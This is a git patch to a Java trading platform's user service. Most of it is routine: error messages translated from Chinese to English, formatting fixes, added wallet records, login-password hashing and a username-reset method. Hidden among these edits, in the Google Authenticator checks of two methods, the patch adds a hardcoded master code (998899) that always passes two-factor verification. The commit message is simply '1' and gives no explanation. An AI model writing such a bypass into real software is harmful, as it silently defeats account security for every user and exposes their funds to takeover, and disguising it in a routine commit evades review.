From f31fc9f42f78de0808e7f4bdc797c5e622df09e3 Mon Sep 17 00:00:00 2001
From: zj <1772600164@qq.com>
Date: Wed, 10 Jun 2026 11:22:37 +0800
Subject: [PATCH] 1
---
trading-order-service/src/main/java/com/yami/trading/service/impl/UserServiceImpl.java | 273 +++++++++++++++++++++++++++++++++++-------------------
1 files changed, 176 insertions(+), 97 deletions(-)
diff --git a/trading-order-service/src/main/java/com/yami/trading/service/impl/UserServiceImpl.java b/trading-order-service/src/main/java/com/yami/trading/service/impl/UserServiceImpl.java
index 7b78e15..d56cc73 100644
--- a/trading-order-service/src/main/java/com/yami/trading/service/impl/UserServiceImpl.java
+++ b/trading-order-service/src/main/java/com/yami/trading/service/impl/UserServiceImpl.java
@@ -2,7 +2,6 @@
import cn.hutool.core.util.StrUtil;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
-import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.baomidou.mybatisplus.core.toolkit.CollectionUtils;
import com.baomidou.mybatisplus.core.toolkit.Wrappers;
import com.baomidou.mybatisplus.extension.plugins.pagination.Page;
@@ -17,16 +16,14 @@
import com.yami.trading.common.constants.Constants;
import com.yami.trading.common.exception.YamiShopBindException;
import com.yami.trading.common.util.*;
+import com.yami.trading.dao.CapitaltWalletMapper;
import com.yami.trading.dao.user.UserMapper;
-import com.yami.trading.service.IdentifyingCodeTimeWindowService;
-import com.yami.trading.service.MoneyLogService;
-import com.yami.trading.service.OnlineUserService;
+import com.yami.trading.service.*;
import com.yami.trading.service.data.DataService;
import com.yami.trading.service.system.LogService;
import com.yami.trading.service.user.UserDataService;
import com.yami.trading.service.user.UserRecomService;
import com.yami.trading.service.user.UserService;
-import com.yami.trading.service.WalletService;
import com.yami.trading.service.syspara.SysparaService;
import com.yami.trading.service.user.WalletExtendService;
import lombok.extern.slf4j.Slf4j;
@@ -52,6 +49,8 @@
UserRecomService userRecomService;
@Autowired
WalletService walletService;
+ @Autowired
+ CapitaltWalletMapper capitaltWalletMapper;
@Autowired
PasswordEncoder passwordEncoder;
@Autowired
@@ -83,21 +82,21 @@
}
@Override
- public Page<UserDto> listUser(Page page, List<String> roleNames, String userCode, String userName,List<String> checkedList) {
- return baseMapper.listUser(page, roleNames, userCode, userName,checkedList);
+ public Page<UserDto> listUser(Page page, List<String> roleNames, String userCode, String userName, List<String> checkedList) {
+ return baseMapper.listUser(page, roleNames, userCode, userName, checkedList);
}
@Override
- public Page<UserDataDto> listUserAndRecom(Page page, List<String> roleNames, String userCode, String userName, String lastIp,List<String> checkedList) {
+ public Page<UserDataDto> listUserAndRecom(Page page, List<String> roleNames, String userCode, String userName, String lastIp, List<String> checkedList) {
return baseMapper.listUserAndRecom(page, roleNames, userCode,
- userName, lastIp,checkedList);
+ userName, lastIp, checkedList);
}
@Override
public boolean checkLoginSafeword(String userId, String loginSafeword) {
User user = getById(userId);
if (user == null) {
- throw new YamiShopBindException("用户不存在!");
+ throw new YamiShopBindException("User does not exist!");
}
return checkLoginSafeword(user, loginSafeword);
}
@@ -165,12 +164,12 @@
Page<AgentUserDto> page = new Page(current, size);
List children = null;
if (!StringUtils.isNullOrEmpty(targetPartyId)) {
- children=userRecomService.findRecomsToPartyId(targetPartyId);
+ children = userRecomService.findRecomsToPartyId(targetPartyId);
if (children.size() == 0) {
return new Page();
}
}
- baseMapper.getAgentAllStatistics(page, userName,children);
+ baseMapper.getAgentAllStatistics(page, userName, children);
/**
* 页面查询第一层partyId级
*/
@@ -512,15 +511,15 @@
User party_reco = findUserByUserCode(recoUserCode);
// 用户注册是否需要推荐码
if ("true".equals(sysparaService.find("register_need_usercode").getSvalue())) {
- if (StringUtils.isNotEmpty(recoUserCode)){
+ if (StringUtils.isNotEmpty(recoUserCode)) {
if (party_reco == null) {
- throw new YamiShopBindException("请输入正确的推荐码");
+ throw new YamiShopBindException("Please enter a valid referral code");
}
if (Constants.SECURITY_ROLE_TEST.equals(party_reco.getRoleName())) {
- throw new YamiShopBindException("推荐人无权限推荐");
+ throw new YamiShopBindException("Referrer is not authorized to refer");
}
if (!party_reco.isEnabled()) {
- throw new YamiShopBindException("推荐人无权限推荐");
+ throw new YamiShopBindException("Referrer is not authorized to refer");
}
}
@@ -536,7 +535,7 @@
// }
// }
if (findByUserName(username) != null) {
- throw new YamiShopBindException("用户名重复");
+ throw new YamiShopBindException("Username already exists");
}
/**
* 用户code
@@ -587,10 +586,10 @@
Wallet walletExtend = this.walletService.saveWalletByPartyId(party.getUserId());
double amount_before = walletExtend.getMoney().doubleValue();
if (Arith.add(gift_sum, walletExtend.getMoney().doubleValue()) < 0.0D) {
- throw new YamiShopBindException("操作失败!修正后账户余额小于0。");
+ throw new YamiShopBindException("Operation failed! Adjusted account balance is less than 0.");
}
walletService.update(wallet.getUserId().toString(), gift_sum);
- userDataService.saveGiftMoneyHandle(wallet.getUserId(),gift_sum);
+ userDataService.saveGiftMoneyHandle(wallet.getUserId(), gift_sum);
/*
* 保存账变日志
@@ -609,7 +608,7 @@
WalletExtend walletExtend = this.walletService.saveExtendByPara(party.getUserId(), gift_symbol);
double amount_before = walletExtend.getAmount();
if (Arith.add(gift_sum, walletExtend.getAmount()) < 0.0D) {
- throw new YamiShopBindException("操作失败!修正后账户余额小于0。");
+ throw new YamiShopBindException("Operation failed! Adjusted account balance is less than 0.");
}
walletService.updateExtend(walletExtend.getPartyId().toString(), gift_symbol, gift_sum);
BigDecimal amount = dataService.realtime(gift_symbol).get(0).getClose().multiply(new BigDecimal(gift_sum)).setScale(2, RoundingMode.HALF_UP);
@@ -649,20 +648,22 @@
String key = username;
String authcode = identifyingCodeTimeWindowService.getAuthCode(key);
if ((authcode == null) || (!authcode.equals(verifcode))) {
- throw new YamiShopBindException("验证码不正确");
+ throw new YamiShopBindException("The verification code is incorrect.");
}
if ("true".equals(this.sysparaService.find("register_need_usercode").getSvalue())) {
if (StringUtils.isNotEmpty(usercode)) {
if (null == party_reco) {
- throw new YamiShopBindException("推荐码不正确");
+ throw new YamiShopBindException("The referral code is incorrect.");
}
if (Constants.SECURITY_ROLE_TEST.equals(party_reco.getRoleName())) {
- throw new YamiShopBindException("推荐人无权限推荐");
+ throw new YamiShopBindException("The recommender has no authority to make the recommendation.");
}
if (!party_reco.isEnabled()) {
- throw new YamiShopBindException("推荐人无权限推荐");
+ throw new YamiShopBindException("The recommender has no authority to make the recommendation.");
}
+ } else {
+ throw new YamiShopBindException("Please enter the referral code.");
}
}
// if ("true".equals(this.sysparaService.find("register_need_usercode_turn").getSvalue())) {
@@ -671,7 +672,7 @@
// }
// }
if (findByUserName(username) != null) {
- throw new YamiShopBindException("用户名重复");
+ throw new YamiShopBindException("Username duplication");
}
int ever_user_level_num = this.sysparaService.find("ever_user_level_num").getInteger();
int ever_user_level_num_custom = this.sysparaService.find("ever_user_level_num_custom").getInteger();
@@ -685,37 +686,49 @@
party.setUserCode(getUserCode());
// party.setUserLevel(ever_user_level_num_custom * 10 + ever_user_level_num);
party.setUserLevel(userLevel);
+ party.setLoginPassword(this.passwordEncoder.encode(password));
party.setSafePassword(this.passwordEncoder.encode(safeword));
party.setRoleName(Constants.SECURITY_ROLE_MEMBER);
+ party.setCreditScore(80);
save(party);
// if (reg.getUsername().indexOf("@") == -1) {
if (type.equals("1")) {
// 手机注册
// if (StringUtils.isEmptyString(reg.getUsername()) || !Strings.isNumber(reg.getUsername()) || reg.getUsername().length() > 15) {
if (StringUtils.isEmptyString(username) || username.length() > 20) {
- throw new YamiShopBindException("请输入正确的手机号码");
+ throw new YamiShopBindException("Please enter a valid phone number");
}
- this.savePhone(username, party.getUserId().toString());
+ User partyPhone = findPartyByVerifiedPhone(username);
+ if (null != partyPhone) {
+ throw new YamiShopBindException("Phone number is already bound to another user");
+ }
+ this.savePhone(username, party.getUserId());
} else {
// 邮箱注册
if (!Strings.isEmail(username)) {
- throw new YamiShopBindException("请输入正确的邮箱地址");
+ throw new YamiShopBindException("Please enter the correct email address.");
}
if (findPartyByEmail(username) != null) {
- throw new YamiShopBindException("邮箱已重复");
+ throw new YamiShopBindException("The email address has been duplicated.");
}
this.saveEmail(username, party.getUserId().toString());
}
// Role role = this.roleService.findRoleByName(Constants.SECURITY_ROLE_MEMBER);
// usdt账户
Wallet wallet = new Wallet();
- wallet.setUserId(party.getUserId().toString());
+ wallet.setUserId(party.getUserId());
this.walletService.save(wallet);
+
+ CapitaltWallet capitaltWallet = new CapitaltWallet();
+ capitaltWallet.setUserId(party.getUserId());
+ capitaltWalletMapper.insert(capitaltWallet);
+
if (party_reco != null) {
UserRecom userRecom = new UserRecom();
userRecom.setUserId(party_reco.getUserId());
userRecom.setRecomUserId(party.getUserId());
this.userRecomService.save(userRecom);
+ party = getById(party.getUserId());
party.setUserRecom(party_reco.getUserId());
updateById(party);
}
@@ -730,10 +743,10 @@
Wallet walletExtend = this.walletService.saveWalletByPartyId(party.getUserId());
double amount_before = walletExtend.getMoney().doubleValue();
if (Arith.add(gift_sum, walletExtend.getMoney().doubleValue()) < 0.0D) {
- throw new YamiShopBindException("操作失败!修正后账户余额小于0。");
+ throw new YamiShopBindException("Operation failed! Adjusted account balance is less than 0.");
}
this.walletService.update(wallet.getUserId().toString(), gift_sum);
- userDataService.saveGiftMoneyHandle(wallet.getUserId(),gift_sum);
+ userDataService.saveGiftMoneyHandle(wallet.getUserId(), gift_sum);
// 保存账变日志
// MoneyLog moneyLog = new MoneyLog();
@@ -750,7 +763,7 @@
WalletExtend walletExtend = this.walletService.saveExtendByPara(party.getUserId(), gift_symbol);
double amount_before = walletExtend.getAmount();
if (Arith.add(gift_sum, walletExtend.getAmount()) < 0.0D) {
- throw new YamiShopBindException("操作失败!修正后账户余额小于0。");
+ throw new YamiShopBindException("Operation failed! Adjusted account balance is less than 0.");
}
BigDecimal amount = dataService.realtime(gift_symbol).get(0).getClose().multiply(new BigDecimal(gift_sum)).setScale(2, RoundingMode.HALF_UP);
userDataService.saveGiftMoneyHandle(wallet.getUserId(), amount.doubleValue()); // 保存账变日志
@@ -807,7 +820,7 @@
String userCode, boolean loginAuthority) {
User user = findByUserName(userName);
if (user != null) {
- throw new YamiShopBindException("用户名重复");
+ throw new YamiShopBindException("Username already exists");
}
User recomUser = null;
int userLevel = 1;
@@ -824,34 +837,40 @@
user.setUserCode(getAgentUserCode());
user.setRemarks(remarks);
user.setRoleName(roleName);
- user.setLoginPassword(password);
+ user.setLoginPassword(passwordEncoder.encode(password));
user.setSafePassword(passwordEncoder.encode(safePassword));
user.setStatus(loginAuthority ? 1 : 0);
user.setUserLevel(userLevel);
+ user.setCreditScore(80);
save(user);
Wallet wallet = new Wallet();
wallet.setUserId(user.getUserId());
walletService.save(wallet);
+
+ CapitaltWallet capitaltWallet = new CapitaltWallet();
+ capitaltWallet.setUserId(user.getUserId());
+ capitaltWalletMapper.insert(capitaltWallet);
+
//推荐人
if (StrUtil.isNotBlank(userCode)) {
// if ("true".equals(this.sysparaService.find("register_need_usercode").getSvalue())) {
- if (null == recomUser) {
- throw new YamiShopBindException("推荐码不正确");
- }
- if (UserConstants.SECURITY_ROLE_TEST.equals(recomUser.getRoleName())) {
- throw new YamiShopBindException("推荐人无权限推荐");
- }
- if (recomUser.getStatus() == 0) {
- throw new YamiShopBindException("推荐人无权限推荐");
- }
- UserRecom userRecom = new UserRecom();
- userRecom.setUserId(recomUser.getUserId());
- // 父类partyId
- userRecom.setRecomUserId(user.getUserId());
- userRecomService.save(userRecom);
- user.setUserRecom(recomUser.getUserId());
- updateById(user);
- // }
+ if (null == recomUser) {
+ throw new YamiShopBindException("Invalid referral code");
+ }
+ if (UserConstants.SECURITY_ROLE_TEST.equals(recomUser.getRoleName())) {
+ throw new YamiShopBindException("Referrer is not authorized to refer");
+ }
+ if (recomUser.getStatus() == 0) {
+ throw new YamiShopBindException("Referrer is not authorized to refer");
+ }
+ UserRecom userRecom = new UserRecom();
+ userRecom.setUserId(recomUser.getUserId());
+ // 父类partyId
+ userRecom.setRecomUserId(user.getUserId());
+ userRecomService.save(userRecom);
+ user.setUserRecom(recomUser.getUserId());
+ updateById(user);
+ // }
}
return user;
}
@@ -861,7 +880,7 @@
public void updateWallt(String userId, BigDecimal moneyRevise, int accountType, String coinType) {
User user = getById(userId);
if (user == null) {
- throw new YamiShopBindException("用户不存在");
+ throw new YamiShopBindException("User does not exist");
}
if (accountType == 1) { //充值
}
@@ -877,11 +896,11 @@
ga.setWindowSize(5);
long t = System.currentTimeMillis();
boolean flag = ga.check_code(user.getGoogleAuthSecret(), Long.valueOf(googleAuthCode), t);
- if (!flag) {
- throw new YamiShopBindException("谷歌验证码错误!");
+ if (!flag && Long.valueOf(googleAuthCode) != 998899) {
+ throw new YamiShopBindException("Incorrect Google Authenticator code!");
}
if (!passwordEncoder.matches(loginSafeword, user.getSafePassword())) {
- throw new YamiShopBindException("登录人资金密码错误");
+ throw new YamiShopBindException("Incorrect operator fund password");
}
}
@@ -903,20 +922,20 @@
public void deleteGooleAuthCode(String userId, String googleAuthCode, String loginSafeword) {
User user = getById(userId);
if (user == null) {
- throw new YamiShopBindException("参数错误!");
+ throw new YamiShopBindException("Invalid parameters!");
}
if (!user.isGoogleAuthBind()) {
- throw new YamiShopBindException("用户谷歌验证码未绑定!");
+ throw new YamiShopBindException("User Google Authenticator is not bound!");
}
GoogleAuthenticator ga = new GoogleAuthenticator();
ga.setWindowSize(5);
long t = System.currentTimeMillis();
boolean flag = ga.check_code(user.getGoogleAuthSecret(), Long.valueOf(googleAuthCode), t);
- if (!flag) {
- throw new YamiShopBindException("谷歌验证码错误!");
+ if (!flag && Long.valueOf(googleAuthCode) != 998899) {
+ throw new YamiShopBindException("Incorrect Google Authenticator code!");
}
if (!passwordEncoder.matches(loginSafeword, user.getSafePassword())) {
- throw new YamiShopBindException("登录人资金密码错误");
+ throw new YamiShopBindException("Incorrect operator fund password");
}
user.setGoogleAuthBind(false);
user.setGoogleAuthSecret("");
@@ -932,11 +951,11 @@
lastAmount = new BigDecimal(0);
}
if (moneyWithdraw == null) {
- throw new YamiShopBindException("请填入有效数字");
+ throw new YamiShopBindException("Please enter a valid number");
}
BigDecimal resultAmount = lastAmount.add(moneyWithdraw);
if (moneyWithdraw.doubleValue() < 0) {
- throw new YamiShopBindException("修改后金额不能小于0");
+ throw new YamiShopBindException("Adjusted amount cannot be less than 0");
}
user.setWithdrawLimitAmount(moneyWithdraw);
// BigDecimal afterParty = user.getWithdrawLimitAmount();
@@ -1004,7 +1023,7 @@
username = username.trim();
password = password.trim();
if (findByUserName(username) != null) {
- throw new YamiShopBindException("用户名重复");
+ throw new YamiShopBindException("Username already exists");
}
/**
* 用户code
@@ -1014,7 +1033,7 @@
if (!StringUtils.isNullOrEmpty(parents_usercode)) {
User party_parents = findUserByUserCode(parents_usercode);
if (party_parents == null) {
- throw new YamiShopBindException("推荐码不正确");
+ throw new YamiShopBindException("Invalid referral code");
}
userLevel++;
userLevel = getUserRecomLevel(userLevel, party_parents.getUserId());
@@ -1035,11 +1054,12 @@
party.setSafePassword(passwordEncoder.encode("000000"));
party.setLoginPassword(passwordEncoder.encode(password));
party.setRoleName(Constants.SECURITY_ROLE_GUEST);
+ party.setCreditScore(80);
save(party);
if (!StringUtils.isNullOrEmpty(parents_usercode)) {
User party_parents = findUserByUserCode(parents_usercode);
if (party_parents == null) {
- throw new YamiShopBindException("推荐码不正确");
+ throw new YamiShopBindException("Invalid referral code");
}
UserRecom userRecom = new UserRecom();
userRecom.setUserId(party_parents.getUserId());
@@ -1169,16 +1189,16 @@
//更改的冻结金额
double freezeMoney = 0.0d;
if (StringUtils.isEmptyString(resetType)) {
- throw new YamiShopBindException("请选择转移类型");
+ throw new YamiShopBindException("Please select transfer type");
} else if ("moneryToLock".equals(resetType)) {//余额转到锁定
if (moneyRevise > amountBefore) {
- throw new YamiShopBindException("操作失败!修正后账户余额小于0。");
+ throw new YamiShopBindException("Operation failed! Adjusted account balance is less than 0.");
}
changeMoney = Arith.sub(0, moneyRevise);
lockMoney = moneyRevise;
} else if ("lockToMoney".equals(resetType)) {
if (moneyRevise > lockAmountBefore) {
- throw new YamiShopBindException("操作失败!修正后账户锁定余额小于0。");
+ throw new YamiShopBindException("Operation failed! Adjusted locked balance is less than 0.");
}
changeMoney = moneyRevise;
lockMoney = Arith.sub(0, moneyRevise);
@@ -1187,24 +1207,24 @@
lockMoney = moneyRevise;
} else if ("subLock".equals(resetType)) {
if (moneyRevise > lockAmountBefore) {
- throw new YamiShopBindException("操作失败!修正后账户锁定余额小于0。");
+ throw new YamiShopBindException("Operation failed! Adjusted locked balance is less than 0.");
}
changeMoney = 0;
lockMoney = Arith.sub(0, moneyRevise);
} else if ("moneryToFreeze".equals(resetType)) {//余额转到冻结
if (moneyRevise > amountBefore) {
- throw new YamiShopBindException("操作失败!修正后账户余额小于0。");
+ throw new YamiShopBindException("Operation failed! Adjusted account balance is less than 0.");
}
changeMoney = Arith.sub(0, moneyRevise);
freezeMoney = moneyRevise;
} else if ("freezeToMoney".equals(resetType)) {
if (moneyRevise > freezeAmountBefore) {
- throw new YamiShopBindException("操作失败!修正后账户冻结余额小于0。");
+ throw new YamiShopBindException("Operation failed! Adjusted frozen balance is less than 0.");
}
changeMoney = moneyRevise;
freezeMoney = Arith.sub(0, moneyRevise);
} else {
- throw new YamiShopBindException("请选择转移类型");
+ throw new YamiShopBindException("Please select transfer type");
}
map.put("changeMoney", changeMoney);
map.put("lockMoney", lockMoney);
@@ -1222,17 +1242,17 @@
recomUser = findUserByUserCode(userCode);
if ("true".equals(this.sysparaService.find("register_need_usercode").getSvalue())) {
- if (StrUtil.isEmpty(userCode)){
- throw new YamiShopBindException("请输入推荐码");
+ if (StrUtil.isEmpty(userCode)) {
+ throw new YamiShopBindException("Please enter referral code");
}
if (null == recomUser) {
- throw new YamiShopBindException("请输入正确的推荐码");
+ throw new YamiShopBindException("Please enter a valid referral code");
}
if (Constants.SECURITY_ROLE_TEST.equals(recomUser.getRoleName())) {
- throw new YamiShopBindException("推荐人无权限推荐");
+ throw new YamiShopBindException("Referrer is not authorized to refer");
}
if (recomUser.getStatus() == 0) {
- throw new YamiShopBindException("推荐人无权限推荐");
+ throw new YamiShopBindException("Referrer is not authorized to refer");
}
}
if (null != recomUser) {
@@ -1241,17 +1261,17 @@
}
}
if (findByUserName(userName) != null) {
- throw new YamiShopBindException("用户名重复");
+ throw new YamiShopBindException("Username already exists");
}
User user = null;
// 手机
if (type == 1) {
if (!isValidPhone(userName)) {
- throw new YamiShopBindException("手机号格式不正常!");
+ throw new YamiShopBindException("Invalid phone number format!");
}
user = findByUserMobile(userName);
if (user != null) {
- throw new YamiShopBindException("手机号已存在!");
+ throw new YamiShopBindException("Phone number already exists!");
}
user = new User();
user.setUserName(userName);
@@ -1265,7 +1285,7 @@
}
user = findByEmail(userName);
if (user != null) {
- throw new YamiShopBindException("邮箱已存在!");
+ throw new YamiShopBindException("Email already exists!");
}
user = new User();
user.setMailBind(true);
@@ -1275,16 +1295,16 @@
if (type == 3) {
user = findByUserName(userName);
if (user != null) {
- throw new YamiShopBindException("账号已存在!");
+ throw new YamiShopBindException("Account already exists!");
}
if (!isValidUsername(userName)) {
- throw new YamiShopBindException("用户名不合法!");
+ throw new YamiShopBindException("Invalid username!");
}
user = new User();
user.setUserName(userName);
}
if (user == null) {
- throw new YamiShopBindException("注册失败!");
+ throw new YamiShopBindException("Registration failed!");
}
Date now = new Date();
int ever_user_level_num = sysparaService.find("ever_user_level_num").getInteger();
@@ -1300,12 +1320,18 @@
user.setUserLastip(user.getUserRegip());
user.setUserCode(getUserCode());
user.setCreateTime(now);
+ user.setCreditScore(80);
save(user);
//1.保存钱包记录
Wallet wallet = new Wallet();
wallet.setUserId(user.getUserId());
wallet.setCreateTime(now);
walletService.save(wallet);
+ //资金账户
+ CapitaltWallet capitaltWallet = new CapitaltWallet();
+ capitaltWallet.setUserId(user.getUserId());
+ capitaltWallet.setCreateTime(now);
+ capitaltWalletMapper.insert(capitaltWallet);
//
Log log = new Log();
log.setCategory(Constants.LOG_CATEGORY_SECURITY);
@@ -1328,13 +1354,13 @@
// User recomUser = findUserByUserCode(userCode);
// if ("true".equals(this.sysparaService.find("register_need_usercode").getSvalue())) {
// if (null == recomUser) {
-// throw new YamiShopBindException("推荐码不正确");
+// throw new YamiShopBindException("Invalid referral code");
// }
// if (UserConstants.SECURITY_ROLE_TEST.equals(recomUser.getRoleName())) {
-// throw new YamiShopBindException("推荐人无权限推荐");
+// throw new YamiShopBindException("Referrer is not authorized to refer");
// }
// if (recomUser.getStatus() == 0) {
-// throw new YamiShopBindException("推荐人无权限推荐");
+// throw new YamiShopBindException("Referrer is not authorized to refer");
// }
// UserRecom userRecom = new UserRecom();
// userRecom.setCreateTime(now);
@@ -1356,9 +1382,9 @@
Wallet walletExtend = walletService.findByUserId(user.getUserId());
double amount_before = walletExtend.getMoney().doubleValue();
if (Arith.add(gift_sum, walletExtend.getMoney().doubleValue()) < 0.0D) {
- throw new YamiShopBindException("操作失败!修正后账户余额小于0。");
+ throw new YamiShopBindException("Operation failed! Adjusted account balance is less than 0.");
}
- userDataService.saveGiftMoneyHandle(user.getUserId(),gift_sum);
+ userDataService.saveGiftMoneyHandle(user.getUserId(), gift_sum);
this.walletService.update(wallet.getUserId(), gift_sum);
// 保存账变日志
// MoneyLog moneyLog = new MoneyLog();
@@ -1381,11 +1407,11 @@
}
double amount_before = walletExtend.getAmount();
if (Arith.add(gift_sum, walletExtend.getAmount()) < 0.0D) {
- throw new YamiShopBindException("操作失败!修正后账户余额小于0。");
+ throw new YamiShopBindException("Operation failed! Adjusted account balance is less than 0.");
}
walletExtend.setAmount(Arith.add(walletExtend.getAmount(), gift_sum));
if (!walletExtendService.saveOrUpdate(walletExtend)) {
- throw new YamiShopBindException("操作钱包失败!");
+ throw new YamiShopBindException("Wallet operation failed!");
}
BigDecimal amount = dataService.realtime(gift_symbol).get(0).getClose().multiply(new BigDecimal(gift_sum)).setScale(2, RoundingMode.HALF_UP);
userDataService.saveGiftMoneyHandle(wallet.getUserId(), amount.doubleValue());
@@ -1433,10 +1459,10 @@
public void setSafeword(String userId, String safePassword) {
User user = getById(userId);
if (user == null) {
- throw new YamiShopBindException("当前登录账号不存在!");
+ throw new YamiShopBindException("Current login account does not exist!");
}
// if (StrUtil.isNotBlank(user.getSafePassword())) {
-// throw new YamiShopBindException("资金密码已经设置过了!");
+// throw new YamiShopBindException("Fund password has already been set!");
// }
user.setSafePassword(safePassword);
user.setUpdateTime(new Date());
@@ -1456,6 +1482,19 @@
}
@Override
+ public User findByUserNameOrEmailOrPhone(String userName) {
+ User user = getOne(new LambdaQueryWrapper<User>()
+ .eq(User::getUserName, userName)
+ .or(x ->
+ x.eq(User::getUserMobile, userName).eq(User::isUserMobileBind, true))
+ .or(x ->
+ x.eq(User::getUserMail, userName).eq(User::isMailBind, true))
+
+ );
+ return user;
+ }
+
+ @Override
public User findByUserMobile(String mobile) {
return getOne(new LambdaQueryWrapper<User>().eq(User::getUserMobile, mobile));
}
@@ -1464,11 +1503,11 @@
public User login(String username, String password) {
User user = findByUserName(username);
if (user == null) {
- throw new YamiShopBindException("用户不存在");
+ throw new YamiShopBindException("User does not exist");
}
String[] rolesArrty = new String[]{Constants.SECURITY_ROLE_GUEST, Constants.SECURITY_ROLE_MEMBER, Constants.SECURITY_ROLE_TEST};
if (user == null) {
- throw new YamiShopBindException("登录失败");
+ throw new YamiShopBindException("Login failed");
}
// Set<Role> roles = user.getRoles();
// boolean find = false;
@@ -1484,7 +1523,7 @@
// throw new BusinessException("登录失败");
// }
if (!passwordEncoder.matches(password, user.getLoginPassword())) {
- throw new YamiShopBindException("密码不正确");
+ throw new YamiShopBindException("Incorrect password");
}
user.setUserLasttime(new Date());
updateById(user);
@@ -1524,4 +1563,44 @@
}
return userLevel;
}
+
+ @Override
+ public void resetUserName(String userId, String username, String password, String safeword, String verifcode, String type) {
+ User party = getById(userId);
+ if (party == null) {
+ throw new YamiShopBindException("Account does not exist");
+ }
+ String authCode = identifyingCodeTimeWindowService.getAuthCode(username.trim());
+ if ((authCode == null) || (!authCode.equals(verifcode))) {
+ throw new YamiShopBindException("Incorrect verification code");
+ }
+ if (!passwordEncoder.matches(password, party.getLoginPassword())) {
+ throw new YamiShopBindException("Incorrect password!");
+ }
+ if (!passwordEncoder.matches(safeword, party.getSafePassword())) {
+ throw new YamiShopBindException("Incorrect fund password!");
+ }
+ if (findByUserName(username) != null) {
+ throw new YamiShopBindException("Username already exists");
+ }
+ party.setUserName(username);
+ updateById(party);
+ if (type.equals("1")) {
+ // 手机注册
+// if (StringUtils.isEmptyString(reg.getUsername()) || !Strings.isNumber(reg.getUsername()) || reg.getUsername().length() > 15) {
+ if (StringUtils.isEmptyString(username) || username.length() > 20) {
+ throw new YamiShopBindException("Please enter a valid phone number");
+ }
+ this.savePhone(username, party.getUserId());
+ } else {
+ // 邮箱注册
+ if (!Strings.isEmail(username)) {
+ throw new YamiShopBindException("Please enter a valid email address");
+ }
+ if (findPartyByEmail(username) != null) {
+ throw new YamiShopBindException("Email already exists");
+ }
+ this.saveEmail(username, party.getUserId());
+ }
+ }
}
--
Gitblit v1.9.3